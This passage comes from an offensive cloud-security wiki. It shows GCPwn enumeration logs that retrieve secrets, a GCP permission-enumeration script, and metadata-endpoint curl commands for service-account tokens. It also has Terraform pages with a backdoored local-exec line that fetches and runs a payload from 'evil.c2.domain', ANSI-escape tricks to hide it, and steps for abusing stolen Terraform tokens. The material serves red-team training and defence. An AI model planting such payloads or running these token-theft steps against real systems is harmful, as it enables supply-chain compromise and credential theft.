compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n

As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an enum_all module which calls ALL enumeration modules. You can pass in --iam to enum_all to run all possible testIamPermissions

\u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n
"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"

gcpwn includes a special flag for enum_resources called --all-permissions. When this is used with the --iam flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass --all-permissions and --iam into enum_all if you want to do this as part of the everything enumeration.

(production-project[TRUNCATED]:service_user)> modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n
"},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"

Link to Tool: GitHub

On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

Info

The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

The following script taken from the ThunderCTF repository can be used to enumerate permissions:

from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions <token | path_to_key_file>\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n
"},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"

The file containing the list of permissions needs to be created / updated before using the enumeration script.

The file permissions.py should look like this:

permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n

The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.

"},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources cloudbuilds.builds.create Script / Blog Post cloudfunctions.functions.create Script / Blog Post cloudfunctions.functions.update Script / Blog Post cloudscheduler.jobs.create Blog Post composer.environments.get Blog Post 1, 2 compute.instances.create Script / Blog Post dataflow.jobs.create Blog Post 1, 2 dataflow.jobs.update Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.jobs.create Blog Post 1, 2 dataproc.jobs.update Blog Post 1, 2 deploymentmanager.deployments.create Script / Blog Post iam.roles.update Script / Blog Post iam.serviceAccountKeys.create Script / Blog Post iam.serviceAccounts.getAccessToken Script / Blog Post iam.serviceAccounts.implicitDelegation Script / Blog Post iam.serviceAccounts.signBlob Script / Blog Post iam.serviceAccounts.signJwt Script / Blog Post orgpolicy.policy.set Script / Blog Post run.services.create Script / Blog Post serviceusage.apiKeys.create Script / Blog Post serviceusage.apiKeys.list Script / Blog Post storage.hmacKeys.create Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"

Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

Information on Service Accounts

User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

Using the format above, you can denote the following items:

  • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
  • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.
"},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"
  • serviceaccount.json
  • service_account.json
  • sa-private-key.json
  • service-account-file.json
"},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"
  • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
  • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.
"},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"

In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"

"},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"

GCP Buckets are almost 100% identical to AWS S3 Buckets.

Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

Using @digininja's CloudStorageFinder diff the following files:

diff bucket_finder.rb google_finder.rb

The main differences are the URLs:

  • AWS Supports HTTP and HTTPS
  • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
  • GCP Endpoint: https://storage.googleapis.com

How to find buckets using CloudStorageFinder:

Create a wordlist with any name; in our example, it is wordlist.txt.

$ ruby google_finder.rb wordlist.txt

"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"

Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H\n\"Metadata-Flavor: Google\"\n
Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"

For basic enumeration, an attacker can target.

http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n
To view scope:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n
To view project metadata:
curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n
To view instance metadata:
curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n

The following table is pulled from the Google Cloud Documentation

Metadata Endpoint Description /computeMetadata/v1/project/numeric-project-id The project number assigned to your project. /computeMetadata/v1/project/project-id The project ID assigned to your project. /computeMetadata/v1/instance/zone The zone the instance is running in. /computeMetadata/v1/instance/service-accounts/default/aliases /computeMetadata/v1/instance/service-accounts/default/email The default service account email assigned to your project. /computeMetadata/v1/instance/service-accounts/default/ Lists all the default service accounts for your project. /computeMetadata/v1/instance/service-accounts/default/scopes Lists all the supported scopes for the default service accounts. /computeMetadata/v1/instance/service-accounts/default/token Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"

GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

"},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"

From: Organizational Policy Constraints

  • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
  • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

There are specific policies that are not retroactive. We can use these to our advantage.

  1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
  2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

    • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
    • Constraint looks for the name of the machine in the project identifier specified in the specific zone
    • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
    • Machine cannot already exist.
    • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
"},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"

Original Research: Joern Schneeweisz

When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

Take for example the following Terraform code.

main.tf
resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload\"\n  }\n}\n

In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.

Tip

As an alternative to local-exec, you can also use external_provider.

The problem is that this output would get displayed to the user, for example:

To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.

\\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n

So, we can modify our payload to the following to hide the malicious activity.

main.tf
resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n

And this is the output:

"},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"

Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

\"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)

Note

While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

"},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"

For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\".

This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

Note

It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"

"},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"

Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

"},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"

It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

Note

Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

"},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"

Warning

This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

Note

If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

"},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"

To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

"},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"

With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations | jq\n

Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

